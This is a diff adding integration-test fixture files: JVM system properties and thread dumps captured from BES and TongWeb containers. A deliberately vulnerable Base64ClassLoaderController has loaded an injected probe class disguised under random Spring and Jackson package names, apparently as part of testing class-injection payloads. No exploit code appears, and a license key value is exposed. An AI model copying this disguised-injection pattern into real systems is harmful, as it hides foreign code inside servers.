com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:186) + at com.bes.enterprise.webtier.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:157) + at com.bes.enterprise.webtier.core.DefaultWrapperValve.invoke(DefaultWrapperValve.java:193) + at com.bes.enterprise.webtier.core.DefaultContextValve.invoke(DefaultContextValve.java:109) + at com.bes.enterprise.webtier.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:539) + at com.bes.enterprise.webtier.core.DefaultHostValve.invoke(DefaultHostValve.java:133) + at com.bes.enterprise.webtier.valves.StuckThreadDetectionValve.invoke(StuckThreadDetectionValve.java:185) + at com.bes.enterprise.webtier.valves.ErrorReportValve.invoke(ErrorReportValve.java:87) + at com.bes.enterprise.webtier.core.DefaultEngineValve.invoke(DefaultEngineValve.java:74) + at com.bes.enterprise.webtier.connector.CoyoteAdapter.service(CoyoteAdapter.java:388) + at com.bes.enterprise.web.crane.http11.Http11Processor.service(Http11Processor.java:475) + at com.bes.enterprise.web.crane.AbstractProcessorLight.process(AbstractProcessorLight.java:61) + at com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:972) + at com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1942) + at com.bes.enterprise.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:51) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1194) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-0.0.0.0-8080-Acceptor" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:617) + at com.bes.enterprise.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:96) + at com.bes.enterprise.web.util.net.Acceptor.run(Acceptor.java:125) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"SelectorReaderThread-8080-1" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.EPoll.wait(Native Method) + at java.base@17.0.17/sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:118) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:129) + at java.base@17.0.17/sun.nio.ch.SelectorImpl.select(SelectorImpl.java:141) + at com.bes.enterprise.web.util.net.NioEndpoint$Poller.run(NioEndpoint.java:859) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"DestroyJavaVM" #32 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"httpWorkerThread-8080-2" #22 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@431417ec + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:141) + at com.bes.enterprise.web.util.threads.WorkQueue.take(WorkQueue.java:29) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1117) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1179) + at com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:652) + at com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable.run(WorkThread.java:60) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"container-0" #29 [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Thread.sleep(Native Method) + at com.bes.enterprise.webtier.core.ApplicationServer.await(ApplicationServer.java:562) + at com.bes.enterprise.springboot.embedded.BesWebServer$1.run(BesWebServer.java:235) + + +=========================================== + +StackClassNames: +com.bes.enterprise.springboot.embedded.BesWebServer$1 +com.bes.enterprise.web.crane.AbstractProcessorLight +com.bes.enterprise.web.crane.AbstractProtocol$ConnectionHandler +com.bes.enterprise.web.crane.http11.Http11Processor +com.bes.enterprise.web.util.net.Acceptor +com.bes.enterprise.web.util.net.NioEndpoint +com.bes.enterprise.web.util.net.NioEndpoint$Poller +com.bes.enterprise.web.util.net.NioEndpoint$SocketProcessor +com.bes.enterprise.web.util.net.SocketProcessorBase +com.bes.enterprise.web.util.threads.ThreadPoolExecutor +com.bes.enterprise.web.util.threads.ThreadPoolExecutor$Worker +com.bes.enterprise.web.util.threads.WorkQueue +com.bes.enterprise.web.util.threads.WorkThread$WrappingRunnable +com.bes.enterprise.web.websocket.server.WsFilter +com.bes.enterprise.webtier.authenticator.AuthenticatorBase +com.bes.enterprise.webtier.connector.CoyoteAdapter +com.bes.enterprise.webtier.core.ApplicationFilterChain +com.bes.enterprise.webtier.core.ApplicationServer +com.bes.enterprise.webtier.core.DefaultContextValve +com.bes.enterprise.webtier.core.DefaultEngineValve +com.bes.enterprise.webtier.core.DefaultHostValve +com.bes.enterprise.webtier.core.DefaultWrapperValve +com.bes.enterprise.webtier.valves.ErrorReportValve +com.bes.enterprise.webtier.valves.StuckThreadDetectionValve +com.fasterxml.jackson.gzGMb.ErrorBbkuhHandler +com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController +jakarta.servlet.http.HttpServlet +org.springframework.web.filter.CharacterEncodingFilter +org.springframework.web.filter.FormContentFilter +org.springframework.web.filter.OncePerRequestFilter +org.springframework.web.filter.RequestContextFilter +org.springframework.web.method.support.InvocableHandlerMethod +org.springframework.web.servlet.DispatcherServlet +org.springframework.web.servlet.FrameworkServlet +org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter +org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter +org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod diff --git a/integration-test/src/test/resources/infos/TongWeb7SpringBootContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/TongWeb7SpringBootContainerTestBasicInfo.txt new file mode 100644 index 00000000..7726a86b --- /dev/null +++ b/integration-test/src/test/resources/infos/TongWeb7SpringBootContainerTestBasicInfo.txt @@ -0,0 +1,429 @@ +# Generated At 2026-08-08 09:53:59 +SystemProps: +java.specification.version: 17 +sun.jnu.encoding: UTF-8 +java.class.path: /app/app.jar +java.vm.vendor: Eclipse Adoptium +sun.arch.data.model: 64 +java.vendor.url: https://adoptium.net/ +server.tongweb.license.productKey: esRTevlz6wm/tpN/Cbl4CfU7xtHDelNBw/kd4O9uSO0= +user.timezone: Etc/UTC +server.tongweb.license.type: file +tongweb.home: /tmp/tongweb.8080.8749798371050316176 +java.vm.specification.version: 17 +os.name: Linux +TONGWEB_LICENSE_PATH: /tmp/tongweb-license2882431636653867657.dat +sun.java.launcher: SUN_STANDARD +user.country: US +sun.boot.library.path: /opt/java/openjdk/lib +sun.java.command: /app/app.jar +jdk.debug: release +sun.cpu.endian: little +user.home: /root +user.language: en +java.specification.vendor: Oracle Corporation +server.tongweb.license.ssl.enabled: false +java.version.date: 2025-10-21 +java.home: /opt/java/openjdk +tongweb.base: /tmp/tongweb.8080.8749798371050316176 +file.separator: / +java.vm.compressedOopsMode: Zero based +line.separator: + +server.tongweb.license.productVersion: 7.0.E.6_P9 +java.vm.specification.vendor: Oracle Corporation +java.specification.name: Java Platform API Specification +FILE_LOG_CHARSET: UTF-8 +java.awt.headless: true +tongweb.useNaming: false +java.protocol.handler.pkgs: org.springframework.boot.loader +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +server.tongweb.license.tongWebEdition: Embed +server.tongweb.license.isSync: true +java.runtime.version: 17.0.17+10 +user.name: root +path.separator: : +os.version: 7.0.14-orbstack-00374-gbbca68e8d741 +java.runtime.name: OpenJDK Runtime Environment +file.encoding: UTF-8 +java.vm.name: OpenJDK 64-Bit Server VM +java.vendor.version: Temurin-17.0.17+10 +java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues +java.io.tmpdir: /tmp +java.version: 17.0.17 +user.dir: / +os.arch: aarch64 +java.vm.specification.name: Java Virtual Machine Specification +PID: 1 +CONSOLE_LOG_CHARSET: UTF-8 +native.encoding: UTF-8 +java.library.path: /usr/java/packages/lib:/usr/lib64:/lib64:/lib:/usr/lib +server.tongweb.license.filePath: /tmp/tongweb-license2882431636653867657.dat +java.vm.info: mixed mode, sharing +java.vendor: Eclipse Adoptium +java.vm.version: 17.0.17+10 +java.specification.maintenance.version: 1 +sun.io.unicode.encoding: UnicodeLittle +java.class.version: 61.0 + +=========================================== + +ThreadStacks: +"Reference Handler" #2 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.ref.Reference.waitForReferencePendingList(Native Method) + at java.base@17.0.17/java.lang.ref.Reference.processPendingReferences(Reference.java:253) + at java.base@17.0.17/java.lang.ref.Reference$ReferenceHandler.run(Reference.java:215) + +"TongWeb-utility-2" #23 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a788698 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:252) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:1679) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1182) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-9" #33 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-Acceptor" #36 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/sun.nio.ch.Net.accept(Native Method) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.implAccept(ServerSocketChannelImpl.java:425) + at java.base@17.0.17/sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:391) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:498) + at com.tongweb.web.util.net.NioEndpoint.serverSocketAccept(NioEndpoint.java:56) + at com.tongweb.web.util.net.Acceptor.run(Acceptor.java:113) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Common-Cleaner" #13 daemon [TIMED_WAITING] on java.lang.ref.ReferenceQueue$Lock@6b458ca3 + java.lang.Thread.State: TIMED_WAITING + at java.base@17.0.17/java.lang.Object.wait(Native Method) + at java.base@17.0.17/java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:155) + at java.base@17.0.17/jdk.internal.ref.CleanerImpl.run(CleanerImpl.java:140) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + at java.base@17.0.17/jdk.internal.misc.InnocuousThread.run(InnocuousThread.java:162) + +"http-nio-8080-exec-3" #27 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-5" #29 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.base@17.0.17/java.lang.Thread.dumpThreads(Native Method) + at java.base@17.0.17/java.lang.Thread.getAllStackTraces(Thread.java:1671) + at org.springframework.mcnFX.ErrorHladkHandler.toString(BasicInfoPrinter.java:26) + at com.reajason.javaweb.vul.springboot3.controller.Base64ClassLoaderController.base64ClassLoader(Base64ClassLoaderController.java:20) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method) + at java.base@17.0.17/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77) + at java.base@17.0.17/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43) + at java.base@17.0.17/java.lang.reflect.Method.invoke(Method.java:569) + at org.springframework.web.method.support.InvocableHandlerMethod.doInvoke(InvocableHandlerMethod.java:207) + at org.springframework.web.method.support.InvocableHandlerMethod.invokeForRequest(InvocableHandlerMethod.java:152) + at org.springframework.web.servlet.mvc.method.annotation.ServletInvocableHandlerMethod.invokeAndHandle(ServletInvocableHandlerMethod.java:118) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.invokeHandlerMethod(RequestMappingHandlerAdapter.java:884) + at org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerAdapter.handleInternal(RequestMappingHandlerAdapter.java:797) + at org.springframework.web.servlet.mvc.method.AbstractHandlerMethodAdapter.handle(AbstractHandlerMethodAdapter.java:87) + at org.springframework.web.servlet.DispatcherServlet.doDispatch(DispatcherServlet.java:1081) + at org.springframework.web.servlet.DispatcherServlet.doService(DispatcherServlet.java:974) + at org.springframework.web.servlet.FrameworkServlet.processRequest(FrameworkServlet.java:1011) + at org.springframework.web.servlet.FrameworkServlet.doPost(FrameworkServlet.java:914) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:575) + at org.springframework.web.servlet.FrameworkServlet.service(FrameworkServlet.java:885) + at jakarta.servlet.http.HttpServlet.service(HttpServlet.java:643) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:190) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at org.springframework.web.filter.RequestContextFilter.doFilterInternal(RequestContextFilter.java:100) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at org.springframework.web.filter.FormContentFilter.doFilterInternal(FormContentFilter.java:93) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at org.springframework.web.filter.CharacterEncodingFilter.doFilterInternal(CharacterEncodingFilter.java:201) + at org.springframework.web.filter.OncePerRequestFilter.doFilter(OncePerRequestFilter.java:116) + at com.tongweb.container.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:159) + at com.tongweb.container.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:134) + at com.tongweb.container.core.StandardWrapperValve.invoke(StandardWrapperValve.java:151) + at com.tongweb.container.core.StandardContextValve.invoke(StandardContextValve.java:74) + at com.tongweb.container.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:457) + at com.tongweb.container.core.StandardHostValve.invoke(StandardHostValve.java:99) + at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78) + at com.tongweb.container.valves.ErrorReportValve.invoke(ErrorReportValve.java:78) + at com.tongweb.container.core.StandardEngineValve.invoke(StandardEngineValve.java:57) + at com.tongweb.container.connector.CoyoteAdapter.service(CoyoteAdapter.java:324) + at com.tongweb.connector.http11.Http11Processor.service(Http11Processor.java:353) + at com.tongweb.connector.AbstractProcessorLight.process(AbstractProcessorLight.java:47) + at com.tongweb.connector.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:874) + at com.tongweb.web.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1721) + at com.tongweb.web.util.net.SocketProcessorBase.run(SocketProcessorBase.java:37) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1176) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-7" #31 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"TongTech-License-Executor" #21 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@34c6c920 + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1177) + at java.base@17.0.17/java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:899) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1062) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1122) + at java.base@17.0.17/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:635) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-10" #34 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-2" #26 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-6" #30 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at com.tongweb.web.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:48) + at java.base@17.0.17/java.lang.Thread.run(Thread.java:840) + +"http-nio-8080-exec-1" #25 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2e47070f + java.lang.Thread.State: WAITING + at java.base@17.0.17/jdk.internal.misc.Unsafe.park(Native Method) + at java.base@17.0.17/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465) + at java.base@17.0.17/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436) + at java.base@17.0.17/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630) + at java.base@17.0.17/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:102) + at com.tongweb.web.util.threads.TaskQueue.take(TaskQueue.java:18) + at com.tongweb.web.util.threads.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1099) + at com.tongweb.web.util.threads.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1161) + at com.tongweb.web.util.threads.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:644) + at 